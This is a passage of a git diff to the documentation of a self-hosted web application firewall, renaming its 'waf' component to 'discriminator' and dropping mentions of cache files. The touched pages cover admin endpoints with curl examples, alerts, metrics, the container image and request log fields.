||||||
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
||||||
- `bans.json`;
|
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
||||||
- `clients.json`;
|
notices a file edited on disk and takes the edit in; an edit that does not parse
|
||||||
- `abuseipdb-checks-spent.json`;
|
is set aside as `<name>.bad`, and never stops the running process (see
|
||||||
- `alerts.json`.
|
[`docs/state-files.md`](docs/state-files.md)).
|
||||||
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
|
||||||
- `lookups.json`, from GeoJS;
|
|
||||||
- `lists.json`, the lists fetched by URL;
|
|
||||||
- `dnsbl.json`, from the DNS blocklists;
|
|
||||||
- `abuseipdb-scores.json`, from AbuseIPDB;
|
|
||||||
- `routewatch.json`, from routewatch.
|
|
||||||
|
|
||||||
Back up the state directory. The cache directory can be left out of backups: a
|
|
||||||
lost cache file starts empty and fills again.
|
|
||||||
|
|
||||||
Each file is written whole, to a temporary file renamed over the real one, so a
|
|
||||||
crash leaves a complete file. `waf` notices a file edited on disk and takes the
|
|
||||||
edit in. An edit that does not parse is set aside as `<name>.bad`, and never
|
|
||||||
stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|
||||||
|
|
||||||
### The image and its processes
|
### The image and its processes
|
||||||
|
|
||||||
@@ -649,19 +632,20 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
||||||
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
||||||
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
||||||
and starts it again when it exits. The `run` script of `waf` gives the state
|
and starts it again when it exits. The `run` script of `discriminator` gives
|
||||||
directory to the `sww` user at each start, so a volume needs no change of
|
the state directory to the `sww` user at each start, so a volume needs no
|
||||||
owner. It makes the cache directory for that user too.
|
change of owner.
|
||||||
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
|
- `rproxy` and `discriminator` use no token between them. `discriminator`'s own
|
||||||
`/_sww/`, are for your admin tools and your metrics collector, at its own
|
endpoints, under `/_sww/`, are for your admin tools and your metrics
|
||||||
address on the private network; nothing routes the internet there.
|
collector, at its own address on the private network; nothing routes the
|
||||||
|
internet there.
|
||||||
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
||||||
in the app's container, the app must keep answering for five seconds after
|
in the app's container, the app must keep answering for five seconds after
|
||||||
`SIGTERM` for that to help them.
|
`SIGTERM` for that to help them.
|
||||||
- Only faults found at start stop a process: an invalid setting, a rule file or
|
- Only faults found at start stop a process: an invalid setting, a rule file or
|
||||||
state file that does not parse, a lookup database that cannot be read, or an
|
state file that does not parse, a lookup database that cannot be read, or an
|
||||||
address it cannot listen on. Once running, a failing lookup service,
|
address it cannot listen on. Once running, a failing lookup service,
|
||||||
reputation source or alert destination never takes `waf` down.
|
reputation source or alert destination never takes `discriminator` down.
|
||||||
|
|
||||||
### Packages
|
### Packages
|
||||||
|
|
||||||
@@ -669,15 +653,15 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
- `internal/sww`: the process, as the command it is given, and the health check.
|
- `internal/sww`: the process, as the command it is given, and the health check.
|
||||||
- `internal/config`: reads the settings, the one place they are read.
|
- `internal/config`: reads the settings, the one place they are read.
|
||||||
- `internal/rproxy`: the reverse proxy in front of one app.
|
- `internal/rproxy`: the reverse proxy in front of one app.
|
||||||
- `internal/waf`: `waf`'s server, which runs the checks and answers its own
|
- `internal/discriminator`: `discriminator`'s server, which runs the checks and
|
||||||
endpoints.
|
answers its own endpoints.
|
||||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
||||||
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
||||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||||
source each.
|
source each.
|
||||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||||
`internal/metrics`: the state and cache files, the log lines, the syslog
|
`internal/metrics`: the state files, the log lines, the syslog sender and the
|
||||||
sender and the metrics.
|
metrics.
|
||||||
|
|
||||||
## Rationale
|
## Rationale
|
||||||
|
|
||||||
@@ -711,8 +695,7 @@ on the host.
|
|||||||
- `script/bootstrap`: installs on the host what the other scripts need, with
|
- `script/bootstrap`: installs on the host what the other scripts need, with
|
||||||
`make bootstrap`:
|
`make bootstrap`:
|
||||||
- `make`, `git` and `curl`;
|
- `make`, `git` and `curl`;
|
||||||
- Go, for `gofmt` and to build `golines`;
|
- Go, for `gofmt`;
|
||||||
- `golines`, at a pinned version, with `go install`;
|
|
||||||
- node, yarn and prettier.
|
- node, yarn and prettier.
|
||||||
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
||||||
`script/install-precommit`. `make setup`.
|
`script/install-precommit`. `make setup`.
|
||||||
@@ -729,11 +712,8 @@ on the host.
|
|||||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||||
`make lint`.
|
`make lint`.
|
||||||
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
|
- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
|
||||||
the Markdown with prettier. `make fmt`.
|
`make fmt`.
|
||||||
- `golines` wraps code at 77 columns but leaves comments and strings alone.
|
|
||||||
Wrap those by hand.
|
|
||||||
- The linter fails only lines longer than 88 columns.
|
|
||||||
- `script/fmt-check`: checks the formatting and changes nothing.
|
- `script/fmt-check`: checks the formatting and changes nothing.
|
||||||
`make fmt-check`.
|
`make fmt-check`.
|
||||||
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
||||||
@@ -754,26 +734,25 @@ on the host.
|
|||||||
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
||||||
- `script/install-precommit`: installs that hook. `make hooks`.
|
- `script/install-precommit`: installs that hook. `make hooks`.
|
||||||
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
||||||
- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with
|
- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
|
||||||
the settings in your environment. `make run`. Unless your settings say
|
host, with the settings in your environment. `make run`. Unless your settings
|
||||||
otherwise:
|
say otherwise:
|
||||||
- `rproxy` listens on port 8080, in front of an app at
|
- `rproxy` listens on port 8080, in front of an app at
|
||||||
`http://127.0.0.1:8081`;
|
`http://127.0.0.1:8081`;
|
||||||
- `waf` listens on port 8090;
|
- `discriminator` listens on port 8090;
|
||||||
- its state files go in `bin/state`;
|
- its state files go in `bin/state`;
|
||||||
- its cache files go in `bin/cache`;
|
|
||||||
- its rule files are those of `share/rules.d`.
|
- its rule files are those of `share/rules.d`.
|
||||||
- `script/example-app`: builds the image and the example app
|
- `script/example-app`: builds the image and the example app
|
||||||
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
||||||
`waf` in another, and checks them. Then it removes the containers, the
|
`discriminator` in another, and checks them. Then it removes the containers,
|
||||||
network, the volumes and the images. Needs network access. `make example-app`.
|
the network, the volumes and the images. Needs network access.
|
||||||
It checks:
|
`make example-app`. It checks:
|
||||||
- the health checks;
|
- the health checks;
|
||||||
- a request passed to the app;
|
- a request passed to the app;
|
||||||
- a ban for a broken limit, and a ban for a probe made permanent;
|
- a ban for a broken limit, and a ban for a probe made permanent;
|
||||||
- that only `waf`'s container changes the state directory's owner;
|
- that only `discriminator`'s container changes the state directory's owner;
|
||||||
- with `waf` stopped, the app still answering through `rproxy`;
|
- with `discriminator` stopped, the app still answering through `rproxy`;
|
||||||
- with `waf` started again, bans applying again;
|
- with `discriminator` started again, bans applying again;
|
||||||
- orderly stops with `sv stop` and `docker stop`;
|
- orderly stops with `sv stop` and `docker stop`;
|
||||||
- bans surviving a new container on the same volume;
|
- bans surviving a new container on the same volume;
|
||||||
- a setting given as a file.
|
- a setting given as a file.
|
||||||
@@ -798,8 +777,8 @@ on the host.
|
|||||||
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
||||||
gets.
|
gets.
|
||||||
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
||||||
- [`docs/state-files.md`](docs/state-files.md): the state and cache files and
|
- [`docs/state-files.md`](docs/state-files.md): the state files and what each
|
||||||
what each holds.
|
holds.
|
||||||
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|||||||
+2
-2
@@ -1,6 +1,6 @@
|
|||||||
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
||||||
// proxy in front of one app, which asks waf about each request.
|
// proxy in front of one app, which asks discriminator about each request.
|
||||||
// `sww waf` decides, for many sites, and keeps what lasts. `sww
|
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
|
||||||
// healthcheck` is the container's health check. Everything it does is in
|
// healthcheck` is the container's health check. Everything it does is in
|
||||||
// internal/sww.
|
// internal/sww.
|
||||||
package main
|
package main
|
||||||
|
|||||||
+17
-17
@@ -1,8 +1,8 @@
|
|||||||
# Admin endpoints
|
# Admin endpoints
|
||||||
|
|
||||||
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
|
The endpoints under `/_sww/`, what each takes and what each answers.
|
||||||
answers them at its own address, on the private network. "Admin endpoints" in
|
`sww discriminator` answers them at its own address, on the private network.
|
||||||
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||||
|
|
||||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||||
@@ -20,10 +20,10 @@ answers them at its own address, on the private network. "Admin endpoints" in
|
|||||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||||
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
||||||
`<client>`. It answers `404` when none is active.
|
`<client>`. It answers `404` when none is active.
|
||||||
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
|
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
|
||||||
counters and history as `clients.json` holds them, or `null` when
|
`client`, its counters and history as `clients.json` holds them, or `null`
|
||||||
`clients.json` does not hold it. Under `bans`, every ban covering the address,
|
when `clients.json` does not hold it. Under `bans`, every ban covering the
|
||||||
with its notes.
|
address, with its notes.
|
||||||
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
||||||
`204`, or `400` to a body that is no report (see "The report" in
|
`204`, or `400` to a body that is no report (see "The report" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
|
|||||||
endpoint whose token is unset answers `404`, as does any other path.
|
endpoint whose token is unset answers `404`, as does any other path.
|
||||||
|
|
||||||
`sww rproxy` answers only the health check of these, at its own address. It asks
|
`sww rproxy` answers only the health check of these, at its own address. It asks
|
||||||
`waf` about any other request under `/_sww/`. One that passes the checks is
|
`discriminator` about any other request under `/_sww/`. One that passes the
|
||||||
answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
|
||||||
[`SPEC.md`](../SPEC.md)).
|
in [`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
||||||
`waf:8080` on its network:
|
as `discriminator:8080` on its network:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
# Every ban.
|
# Every ban.
|
||||||
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
|
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
|
||||||
|
|
||||||
# Ban 203.0.113.0/24 for seven days.
|
# Ban 203.0.113.0/24 for seven days.
|
||||||
curl -H "Authorization: Bearer $TOKEN" \
|
curl -H "Authorization: Bearer $TOKEN" \
|
||||||
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
||||||
http://waf:8080/_sww/bans
|
http://discriminator:8080/_sww/bans
|
||||||
|
|
||||||
# Lift the bans on 203.0.113.9.
|
# Lift the bans on 203.0.113.9.
|
||||||
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
||||||
http://waf:8080/_sww/bans/203.0.113.9
|
http://discriminator:8080/_sww/bans/203.0.113.9
|
||||||
|
|
||||||
# What waf knows of 203.0.113.9.
|
# What discriminator knows of 203.0.113.9.
|
||||||
curl -H "Authorization: Bearer $TOKEN" \
|
curl -H "Authorization: Bearer $TOKEN" \
|
||||||
http://waf:8080/_sww/clients/203.0.113.9
|
http://discriminator:8080/_sww/clients/203.0.113.9
|
||||||
```
|
```
|
||||||
+8
-8
@@ -6,7 +6,7 @@ back or dropped.
|
|||||||
|
|
||||||
## Events
|
## Events
|
||||||
|
|
||||||
- `ban`: a ban `waf` made.
|
- `ban`: a ban `discriminator` made.
|
||||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||||
a request.
|
a request.
|
||||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||||
@@ -23,8 +23,7 @@ back or dropped.
|
|||||||
- the day's AbuseIPDB checks used up.
|
- the day's AbuseIPDB checks used up.
|
||||||
- `file_error`: one of:
|
- `file_error`: one of:
|
||||||
- a rule file or state file edit with an error;
|
- a rule file or state file edit with an error;
|
||||||
- a cache file that does not parse, at start or after an edit;
|
- a state file that cannot be written;
|
||||||
- a state file or cache file that cannot be written;
|
|
||||||
- a replacement lookup database that cannot be read.
|
- a replacement lookup database that cannot be read.
|
||||||
- `summary`: the hourly summary of alerts held back.
|
- `summary`: the hourly summary of alerts held back.
|
||||||
|
|
||||||
@@ -35,7 +34,7 @@ on one line:
|
|||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"instance": "fsn1/waf",
|
"instance": "fsn1/discriminator",
|
||||||
"time": "2026-10-06T12:00:50.123461Z",
|
"time": "2026-10-06T12:00:50.123461Z",
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"host": "app.example",
|
"host": "app.example",
|
||||||
@@ -80,8 +79,9 @@ on one line:
|
|||||||
|
|
||||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||||
one of the events above.
|
one of the events above.
|
||||||
- `host`: the site of the request that raised the alert, since one `waf` serves
|
- `host`: the site of the request that raised the alert, since one
|
||||||
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||||
|
`file_error` and `summary`.
|
||||||
- `client`: the address whose request raised the alert. Empty for
|
- `client`: the address whose request raised the alert. Empty for
|
||||||
`source_failure`, `file_error` and `summary`.
|
`source_failure`, `file_error` and `summary`.
|
||||||
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
||||||
@@ -111,8 +111,8 @@ on one line:
|
|||||||
## Slack and ntfy
|
## Slack and ntfy
|
||||||
|
|
||||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||||
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
|
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
|
||||||
for each of these that the alert has:
|
one line for each of these that the alert has:
|
||||||
|
|
||||||
- the host, the client, the netblock and the country;
|
- the host, the client, the netblock and the country;
|
||||||
- the file, the source, the error and the mode from `detail`;
|
- the file, the source, the error and the mode from `detail`;
|
||||||
|
|||||||
+5
-6
@@ -1,9 +1,9 @@
|
|||||||
# What the image holds
|
# What the image holds
|
||||||
|
|
||||||
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
||||||
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
|
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
|
||||||
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
|
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
|
||||||
way.
|
is pinned that way.
|
||||||
|
|
||||||
## Contents
|
## Contents
|
||||||
|
|
||||||
@@ -18,9 +18,8 @@ way.
|
|||||||
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
||||||
- The service directory `/etc/service/sww`, with the `run` script
|
- The service directory `/etc/service/sww`, with the `run` script
|
||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
|
||||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
the default rule file `share/rules.d/00-default.rules`.
|
||||||
`SWW_STATE_DIR` when it is missing.
|
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+8
-8
@@ -1,8 +1,8 @@
|
|||||||
# The metrics
|
# The metrics
|
||||||
|
|
||||||
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
|
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
|
||||||
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
|
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
|
||||||
the `instance` label as `exported_instance` unless the scrape sets
|
keeps the `instance` label as `exported_instance` unless the scrape sets
|
||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
|||||||
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
||||||
histograms;
|
histograms;
|
||||||
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
||||||
`waf` is handling.
|
`discriminator` is handling.
|
||||||
|
|
||||||
## Limits and bans
|
## Limits and bans
|
||||||
|
|
||||||
@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
|
|||||||
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||||
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||||
|
|
||||||
## State and cache files
|
## State files
|
||||||
|
|
||||||
By `file`, the name of a state or cache file:
|
By `file`:
|
||||||
|
|
||||||
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
||||||
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
||||||
@@ -78,8 +78,8 @@ By `file`, the name of a state or cache file:
|
|||||||
|
|
||||||
## When a request is counted
|
## When a request is counted
|
||||||
|
|
||||||
`waf` counts a denied request at its decision, and a request to its own
|
`discriminator` counts a denied request at its decision, and a request to its
|
||||||
endpoints when it is answered. It counts an allowed request when its report
|
own endpoints when it is answered. It counts an allowed request when its report
|
||||||
comes, with the status, bytes and times the report gives. These are not counted:
|
comes, with the status, bytes and times the report gives. These are not counted:
|
||||||
|
|
||||||
- a report itself;
|
- a report itself;
|
||||||
|
|||||||
+37
-34
@@ -1,32 +1,32 @@
|
|||||||
# The request log's fields
|
# The request log's fields
|
||||||
|
|
||||||
The fields of the JSON objects `rproxy` and `waf` write about each request.
|
The fields of the JSON objects `rproxy` and `discriminator` write about each
|
||||||
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
|
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
|
||||||
written and how the log is sent to a syslog server. A field that does not apply
|
is written and how the log is sent to a syslog server. A field that does not
|
||||||
to a request is left out.
|
apply to a request is left out.
|
||||||
|
|
||||||
## `waf`'s lines
|
## `discriminator`'s lines
|
||||||
|
|
||||||
`sww waf` writes two lines for each question it answers, joined by `request_id`.
|
`sww discriminator` writes two lines for each question it answers, joined by
|
||||||
The field `waf_line` says which of the two a line is:
|
`request_id`. The field `discriminator_line` says which of the two a line is:
|
||||||
|
|
||||||
- `decision`: the line it writes once it has answered the question;
|
- `decision`: the line it writes once it has answered the question;
|
||||||
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
||||||
known. The repetition is intended.
|
known. The repetition is intended.
|
||||||
|
|
||||||
A request to its own endpoints writes one line, without `waf_line`. A report
|
A request to its own endpoints writes one line, without `discriminator_line`. A
|
||||||
writes no line but the `report` line of the request it names.
|
report writes no line but the `report` line of the request it names.
|
||||||
|
|
||||||
These questions write no line:
|
These questions write no line:
|
||||||
|
|
||||||
- a question refused with `400` (see "The question" under "`waf`" in
|
- a question refused with `400` (see "The question" under "`discriminator`" in
|
||||||
[`SPEC.md`](../SPEC.md));
|
[`SPEC.md`](../SPEC.md));
|
||||||
- a question whose body stopped arriving, which gets no answer.
|
- a question whose body stopped arriving, which gets no answer.
|
||||||
|
|
||||||
A `report` line:
|
A `report` line:
|
||||||
|
|
||||||
```
|
```
|
||||||
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Every line
|
### Every line
|
||||||
@@ -41,8 +41,9 @@ Every one of these lines has:
|
|||||||
|
|
||||||
### Standard web log fields
|
### Standard web log fields
|
||||||
|
|
||||||
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||||
in UTC. The `report` line gives the same time as the `decision` line.
|
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||||
|
line.
|
||||||
- `instance`: `SWW_INSTANCE_NAME`.
|
- `instance`: `SWW_INSTANCE_NAME`.
|
||||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||||
- `method`, `path` and `query`: the visitor's request.
|
- `method`, `path` and `query`: the visitor's request.
|
||||||
@@ -51,8 +52,9 @@ Every one of these lines has:
|
|||||||
- `host`: the site the visitor asked for.
|
- `host`: the site the visitor asked for.
|
||||||
- `protocol`: the question's own, `HTTP/1.1`.
|
- `protocol`: the question's own, `HTTP/1.1`.
|
||||||
- `status`:
|
- `status`:
|
||||||
- on the `decision` line, what `waf` answered: `200` for `allow`, the status
|
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
|
||||||
of `deny`, or `0` for `close`, as the visitor is then sent nothing;
|
the status of `deny`, or `0` for `close`, as the visitor is then sent
|
||||||
|
nothing;
|
||||||
- on the `report` line, what the visitor got, `0` if nothing.
|
- on the `report` line, what the visitor got, `0` if nothing.
|
||||||
- `request_bytes`:
|
- `request_bytes`:
|
||||||
- on the `decision` line, how much of the question's body the Core Rule Set
|
- on the `decision` line, how much of the question's body the Core Rule Set
|
||||||
@@ -60,7 +62,7 @@ Every one of these lines has:
|
|||||||
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
||||||
with what a WebSocket carried from the visitor.
|
with what a WebSocket carried from the visitor.
|
||||||
- `response_bytes`:
|
- `response_bytes`:
|
||||||
- on the `decision` line, the body of `waf`'s answer;
|
- on the `decision` line, the body of `discriminator`'s answer;
|
||||||
- on the `report` line, the bytes of the answer's body, with what a
|
- on the `report` line, the bytes of the answer's body, with what a
|
||||||
WebSocket carried from the app.
|
WebSocket carried from the app.
|
||||||
- `referer` and `user_agent`.
|
- `referer` and `user_agent`.
|
||||||
@@ -77,7 +79,7 @@ Every one of these lines has:
|
|||||||
- lookups are off;
|
- lookups are off;
|
||||||
- the client is not looked up;
|
- the client is not looked up;
|
||||||
- the source cannot place the client;
|
- the source cannot place the client;
|
||||||
- GeoJS had not answered by the time `waf` answered.
|
- GeoJS had not answered by the time `discriminator` answered.
|
||||||
- `content_type`: the visitor's `Content-Type`.
|
- `content_type`: the visitor's `Content-Type`.
|
||||||
- `content_length`: the body length the visitor announced.
|
- `content_length`: the body length the visitor announced.
|
||||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||||
@@ -87,7 +89,7 @@ Every one of these lines has:
|
|||||||
|
|
||||||
### Response detail
|
### Response detail
|
||||||
|
|
||||||
- `response_content_type`: the type of `waf`'s own answer.
|
- `response_content_type`: the type of `discriminator`'s own answer.
|
||||||
- `aborted`: true when `rproxy` went away before the answer.
|
- `aborted`: true when `rproxy` went away before the answer.
|
||||||
|
|
||||||
### Decision
|
### Decision
|
||||||
@@ -103,8 +105,8 @@ Every one of these lines has:
|
|||||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||||
`blocked_by_core_rule_set`: refused by that check;
|
`blocked_by_core_rule_set`: refused by that check;
|
||||||
- `request_header_too_large`: over a header limit;
|
- `request_header_too_large`: over a header limit;
|
||||||
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
|
